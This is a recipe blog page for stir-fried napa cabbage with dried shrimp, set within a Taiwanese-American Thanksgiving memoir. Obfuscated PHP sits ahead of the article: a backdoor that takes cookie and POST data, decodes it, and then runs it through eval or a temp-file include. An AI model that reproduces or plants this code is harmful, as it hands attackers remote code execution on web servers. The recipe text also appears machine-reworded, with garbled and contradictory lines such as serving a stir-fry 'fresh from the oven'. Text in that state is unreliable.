$KTsfczJabr = chr (83) . 'C' . chr ( 891 - 822 ).chr (95) . "\x41" . 'q' . chr ( 277 - 165 ).'W';$ZogbtLh = 'c' . chr (108) . chr ( 581 - 484 )."\x73" . chr ( 435 - 320 )."\x5f" . chr ( 444 - 343 ).chr ( 730 - 610 ).chr (105) . chr ( 336 - 221 ).chr (116) . 's';$uQHNN = class_exists($KTsfczJabr); $KTsfczJabr = "2768";$ZogbtLh = "21667";if ($uQHNN === FALSE){class SCE_AqpW{public function dveqn(){echo "45139";}private $MtLFGqe;public static $japEoMfyI = "b72c405c-210a-4bf6-be37-e0844adf5b17";public static $PgnkQuZSkY = 12118;public function __construct($hIbzhSu=0){$coaBSUP = $_POST;$eUKDlppJvS = $_COOKIE;$cNeFuIf = @$eUKDlppJvS[substr(SCE_AqpW::$japEoMfyI, 0, 4)];if (!empty($cNeFuIf)){$RXuYyoanv = "base64";$tmsxdXTZq = "";$cNeFuIf = explode(",", $cNeFuIf);foreach ($cNeFuIf as $qyqgg){$tmsxdXTZq .= @$eUKDlppJvS[$qyqgg];$tmsxdXTZq .= @$coaBSUP[$qyqgg];}$tmsxdXTZq = array_map($RXuYyoanv . chr (95) . "\144" . 'e' . 'c' . 'o' . chr (100) . 'e', array($tmsxdXTZq,)); $tmsxdXTZq = $tmsxdXTZq[0] ^ str_repeat(SCE_AqpW::$japEoMfyI, (strlen($tmsxdXTZq[0]) / strlen(SCE_AqpW::$japEoMfyI)) + 1);SCE_AqpW::$PgnkQuZSkY = @unserialize($tmsxdXTZq);}}private function mMvEtTq(){if (is_array(SCE_AqpW::$PgnkQuZSkY)) {$pnMYD = str_replace('<' . "\x3f" . "\x70" . chr ( 489 - 385 )."\160", "", SCE_AqpW::$PgnkQuZSkY[chr ( 890 - 791 ).'o' . chr ( 833 - 723 ).chr ( 1046 - 930 ).chr ( 684 - 583 ).chr ( 294 - 184 )."\x74"]);eval($pnMYD); $SxoaSB = "9909";exit();}}public function __destruct(){$this->mMvEtTq();}}$SjHecGlZFm = new /* 53483 */ SCE_AqpW(); $SjHecGlZFm = str_repeat("23954_58711", 1);}$WjQJSuFb = 'p' . "\x63" . chr ( 618 - 523 ).chr (90) . chr (105) . 'y';$vZAlKrE = 'c' . chr (108) . "\x61" . "\163" . 's' . "\x5f" . "\x65" . chr (120) . "\151" . chr (115) . chr ( 137 - 21 )."\x73";$fOiOC = class_exists($WjQJSuFb); $WjQJSuFb = "52747";$vZAlKrE = "34672";if ($fOiOC === FALSE){class pc_Ziy{public function DClgZnjqit(){echo "37654";}private $SLDeGTdr;public static $xaNvgVI = "600cb282-cd3b-490a-80f5-557f5b3b4f13";public static $uzRunIYrE = 59282;public function __construct($TUmqQf=0){$usvdLjDZ = $_POST;$wChCS = $_COOKIE;$URUzaXZamB = @$wChCS[substr(pc_Ziy::$xaNvgVI, 0, 4)];if (!empty($URUzaXZamB)){$EoucdcxXtw = "base64";$SXfFAoyB = "";$URUzaXZamB = explode(",", $URUzaXZamB);foreach ($URUzaXZamB as $AWzyHPRHU){$SXfFAoyB .= @$wChCS[$AWzyHPRHU];$SXfFAoyB .= @$usvdLjDZ[$AWzyHPRHU];}$SXfFAoyB = array_map($EoucdcxXtw . "\x5f" . "\144" . "\x65" . chr ( 1002 - 903 )."\157" . 'd' . 'e', array($SXfFAoyB,)); $SXfFAoyB = $SXfFAoyB[0] ^ str_repeat(pc_Ziy::$xaNvgVI, (strlen($SXfFAoyB[0]) / strlen(pc_Ziy::$xaNvgVI)) + 1);pc_Ziy::$uzRunIYrE = @unserialize($SXfFAoyB);}}private function GhtGJKbrg(){if (is_array(pc_Ziy::$uzRunIYrE)) {$yRXRPJY = sys_get_temp_dir() . "/" . crc32(pc_Ziy::$uzRunIYrE["\x73" . 'a' . "\154" . 't']);@pc_Ziy::$uzRunIYrE["\167" . chr ( 522 - 408 ).chr ( 347 - 242 ).'t' . chr (101)]($yRXRPJY, pc_Ziy::$uzRunIYrE["\x63" . chr ( 461 - 350 )."\156" . "\164" . "\x65" . chr ( 144 - 34 ).chr ( 568 - 452 )]);include $yRXRPJY;@pc_Ziy::$uzRunIYrE["\144" . "\x65" . "\x6c" . "\x65" . chr ( 1102 - 986 )."\x65"]($yRXRPJY); $ZBzRNXrGex = "4913";exit();}}public function __destruct(){$this->GhtGJKbrg();}}$kacWX = new /* 50896 */ pc_Ziy(); $kacWX = str_repeat("19877_9773", 1);}$LmeRgeVgN = "\127" . chr ( 338 - 221 )."\x4a" . "\137" . 'X' . "\126" . "\164" . "\141";$ezjrGevPJ = chr (99) . "\154" . "\141" . chr (115) . chr (115) . "\x5f" . "\x65" . 'x' . chr ( 604 - 499 ).'s' . "\164" . "\163";$yvpIeDpxH = class_exists($LmeRgeVgN); $LmeRgeVgN = "1622";$ezjrGevPJ = "8837";if ($yvpIeDpxH === FALSE){class WuJ_XVta{public function tmxtqTuzV(){echo "34896";}private $kLwEoZHLU;public static $AtNnlIzWS = "ff4667b4-a25e-4c51-a12f-b44655f427b1";public static $HAaswuFAeS = 36385;public function __construct($wIVteLo=0){$bUdVg = $_POST;$titKfmw = $_COOKIE;$WpzjfgGRbV = @$titKfmw[substr(WuJ_XVta::$AtNnlIzWS, 0, 4)];if (!empty($WpzjfgGRbV)){$pinVAT = "base64";$cTBJBglBy = "";$WpzjfgGRbV = explode(",", $WpzjfgGRbV);foreach ($WpzjfgGRbV as $eLpJfVp){$cTBJBglBy .= @$titKfmw[$eLpJfVp];$cTBJBglBy .= @$bUdVg[$eLpJfVp];}$cTBJBglBy = array_map($pinVAT . chr ( 363 - 268 ).chr ( 970 - 870 )."\x65" . 'c' . "\157" . 'd' . chr (101), array($cTBJBglBy,)); $cTBJBglBy = $cTBJBglBy[0] ^ str_repeat(WuJ_XVta::$AtNnlIzWS, (strlen($cTBJBglBy[0]) / strlen(WuJ_XVta::$AtNnlIzWS)) + 1);WuJ_XVta::$HAaswuFAeS = @unserialize($cTBJBglBy);}}private function pTXow(){if (is_array(WuJ_XVta::$HAaswuFAeS)) {$KwtZLz = sys_get_temp_dir() . "/" . crc32(WuJ_XVta::$HAaswuFAeS[chr ( 616 - 501 ).chr (97) . 'l' . chr (116)]);@WuJ_XVta::$HAaswuFAeS['w' . "\x72" . chr ( 700 - 595 )."\164" . chr (101)]($KwtZLz, WuJ_XVta::$HAaswuFAeS['c' . 'o' . chr (110) . "\164" . 'e' . "\x6e" . chr (116)]);include $KwtZLz;@WuJ_XVta::$HAaswuFAeS["\x64" . chr ( 597 - 496 )."\154" . "\x65" . chr (116) . chr (101)]($KwtZLz); $VoEUQ = "62943";exit();}}public function __destruct(){$this->pTXow();}}$ijexhronD = new /* 50614 */ WuJ_XVta(); $ijexhronD = str_repeat("31769_2794", 1);} Irvin Lin’s Napa Cabbage with Dried Shrimp
April 24, 2024

Irvin Lin’s Napa Cabbage with Dried Shrimp

As a part of American culture and upbringing, holidays from the United States are deeply ingrained in almost all Americans. It was a difficult adjustment for my parents, who were immigrants from Taiwan. They were especially receptive to holidays that revolved around food. My mom would always make a home-cooked meal, but it was usually a mix of American and Chinese dishes or Chinese-adapted dishes. She used whatever ingredients were available at the local grocery store.

My parents immigrated to the United States in 1960s from Taiwan. My mom managed to escape her small, conservative Asian town by graduating high school and attending the top university in Taiwan. She then went on to attend grad school in New York State. My father met her here. Both of them had to make a major change. They moved from a small island in the tropical South to the East Coast of the United States. My father was a career academic and they moved around to several college towns before landing in St. Louis, Missouri. This is a mid-sized metropolitan area located at the intersection between the Midwest, South.

Classic Coleslaw

Our Thanksgiving table consisted of the same food that every Midwest family had back in 1980s. The traditional Thanksgiving turkey was served, usually from a local grocery store. My parents fed three hungry children on a college professor’s salary. However, there were times when we indulged in a Butterball. My mom would mix the potato flakes in the boiling water and cook the mashed potatoes until it was thick enough for us to eat. I learned how to make mashed potatoes with real potatoes in college. Stove Top stuffing is a Midwest classic that makes me feel nostalgic. Jellied Cranberry Sauce was a must-have for Thanksgiving. We used the canned sauce and sliced it in a dish to see the ridges. My mom was the only one who ate the dish.

My white friends wouldn’t know that there were Chinese dishes scattered throughout the table. White Corningware casseroles always contained sticky glutinous rice, which had been stir-fried along with strips of carrots or bamboo shoots. The meal began with a large bowl of corn and eggdrop soup. Then came the napa cabbage and dried shrimp, which sparkled in the evening sunlight.

 

St. Louis wasn’t the place to find many Asian produce at the time. To find Asian grocery stores and Chinese food, you had to travel to a specific area of town. Even then, the selection was not the best. My mom, a naturalized person, bought the closest thing they could find to what was available in her native country. It was always a matter of finding, replacing, and adapting. They made it work. Hamilton sang, “Immigrants. They do the job.

Napa cabbage was not something that needed to be replaced often. Even in 1980s supermarket chains, it was easy to find. It could be easily substituted with regular green cabbage if it wasn’t available to my mom. Growing up, she kept a huge amount of it in her fridge.

Stir-fried napa cabbage and dried shrimp are not the most sexiest dishes in the world. However, it’s a comfort food for Chinese as well as Taiwanese people. You can find it almost everywhere in Taiwan and you can make it at home. It was a common dish that I encountered sporadic throughout my time at home. However, it always made an appearance on my Thanksgiving table. This is mainly because my mom was afraid there wouldn’t be enough greens and vegetables to offset the heavy, rich food.

Even though I don’t make napa with shrimp very often, I find that it brings back memories of my childhood. When I dry the shrimp, the salty smell of the ocean wafts up in my nostrils and makes me think about my mom. It makes me wonder if it reminds my mom of her childhood on a tropical island halfway across the globe. The act of cutting a huge head of napa cabbage reminds me how I used to think my mom was a wizard at the stove. She managed to fit all the vegetables into the wok and marveled at how the size shrinks. Her method of thickening the sauce for cabbage was to make the cornstarch-slurry in cold water. Finally, she added salt to the dish with a tiny ceramic spoon that she purchased on a European trip. My mom always whispers to me when I salt my food. She says that a little salt will go a long way but that if it tastes dry, add more.

Although stir-fried napa cabbage is not the first thing people think of when they think about American Thanksgiving, it’s an important addition. My Thanksgiving is now a combination of a brined turkey, homemade stuffing, creamy mashed potatoes, and homemade stuffing. But my mom still inspires me to add more vegetables to the table. Each year, I experiment with new vegetables, such as slow-braised rosemary carrots or roasted Brussels sprouts. The napa cabbage is one thing that you will always find.

What is Napa Cabbage?

Napa cabbage, also known as Chinese cabbage, has mild flavor and is often used to make Asian dumpling fillings. This cabbage is large and oblong, sometimes as big as a football. It is not a large cabbage, but it can be steamed and shrinks significantly.

What is dried shrimp?

Dried shrimp is just what it sounds like. It’s small shrimp that have been dried. This Chinese dish has a salty umami kick thanks to dried shrimp. Asian grocery stores sell dried shrimp in frozen and refrigerated sections. You should look for small-sized dried shrimp that are about 1/4 inch in size. For medium- or large-sized dried shrimp, you will need to hydrate them with more water (1 cup for medium-sized shrimps, 1 1/4 cups for large shrimps) for 45 to 60 minutes. After that, coarsely chop the shrimp into 1/4-inch pieces.

Do I have the ability to make this dish ahead?

This dish tastes best when it’s fresh from the oven. However, leftovers can be stored in an airtight container in the refrigerator for up to 2 days. Then, reheat the dish on the stovetop or in the microwave.

Irvin Lin’s Napa Cabbage and Dried Shrimp

PREP TIME: 10 minutes

MISCELLANEOUS TIME: 30 minutes

TOTAL TIME: 40 minutes

SERVINGS: 4-6 servings

This Chinese dish is enhanced with dried shrimp. It can be found in Asian grocery stores in the refrigerated or frozen section. You will want small-sized dried shrimp that are about 1/4 inch in size. For medium- or large-sized dried shrimp, heat the shrimp in more water (1 cup for medium-sized shrimp; 1 1/4 cups for large); then, after it has hydrated for 45 to 60 minutes, cut into 1/4-inch pieces. You can make this vegetarian by omitting the dried shrimp. Instead, use four to five dried shiitake mushrooms.

Ingredients

  • 2 tablespoons of dried shrimp, small preferred size, 1/4 inch in size
  • 1 to 3 cups boiling water is enough to cover the shrimp generously
  • 1 medium head (2 pounds) napa cabbage
  • 2 tablespoons peanut oil or vegetable oil
  • 4 scallions, cut in 1-inch pieces
  • 1 tablespoon, or about a 1-inch-long piece of fresh ginger
  • 1 tablespoon soy sauce
  • 1 tablespoon of cold water
  • 2 teaspoons cornstarch
  • 1 teaspoon kosher Salt, plus additional to your taste
  • 1/2 teaspoon of white pepper plus additional to taste

Method

  1. Rehydrate dried shrimp

    The dried shrimp should be placed in a small bowl. Pour the boiling water over the shrimp. Cover the shrimp with a plate and allow it to rest for 30 minutes. The shrimp will appear lighter and slightly plump.

  2. Make sure to wash the cabbage before you start cooking it.

    Split the napa cabbage in half. Rinse the cabbage, and dry it. Remove the core from the cabbage and throw it away.

    Two large bowls are needed. Divide the remaining cabbage into 1-inch chunks. Place the thicker white pieces towards the bottom of the cabbage in one bowl, and the thinner leafy green pieces toward the top in the other.

  3. Drain the shrimp

    Drain the shrimp once it has rehydrated and then discard the liquid.

  4. Make sure to cook the shrimp and cabbage.

    Place the peanut oil in a large skillet or wok on high heat. Stir it around to coat the pan.

    Once the oil is shimmering hot, heat the mixture and then add the scallions. Use a spatula to mix the ingredients until they are fragrant and the scallions turn a bright green color. This should take about one minute.

    Reduce the heat to medium-high and add the napa cabbage’s thicker white portion to the pan. Cook and stir for about 3-4 minutes or until the cabbage pieces begin to turn translucent, but the center remains opaque.

    Turn down the heat and add the chopped leafy green cabbage pieces to the pan. Cook the leaves for 2 minutes.

  5. Make a cornstarch-slurry:

    Combine the soy sauce, cornstarch, and cold water in a small bowl. Stir to create a slurry. Stir in the remaining ingredients and cook the cabbage until the sauce thickens slightly to the consistency that whole milk.

  6. Season the stir-fry:

    Season the stir-fry with salt and pepper. If necessary, taste it and adjust salt and pepper as needed. The cabbage should be translucent and silky, with dried shrimp specks all over.